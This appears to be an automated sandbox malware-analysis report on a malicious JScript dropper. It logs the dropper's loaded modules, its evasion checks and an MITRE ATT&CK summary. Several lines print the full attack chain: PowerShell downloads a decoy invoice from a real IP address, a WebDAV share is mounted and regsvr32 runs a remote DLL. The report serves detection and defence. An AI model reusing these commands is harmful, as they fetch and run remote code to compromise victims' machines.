Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8754.js.csv");ITextStream.WriteLine(" entry:8310 f:kwyvfprur");ITextStream.WriteLine(" exec:2 f:kwyvfprur");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5064			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4788			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep count: 5064 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep count: 4788 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5460	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5860	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4676	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1413379509.00000244F0538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\e
Source: net.exe, 00000007.00000003.1469032915.0000011353171000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470246799.0000011353108000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470628267.0000011353171000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1468796555.0000011353171000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2700353529.0000018809254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2698455650.0000018803A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
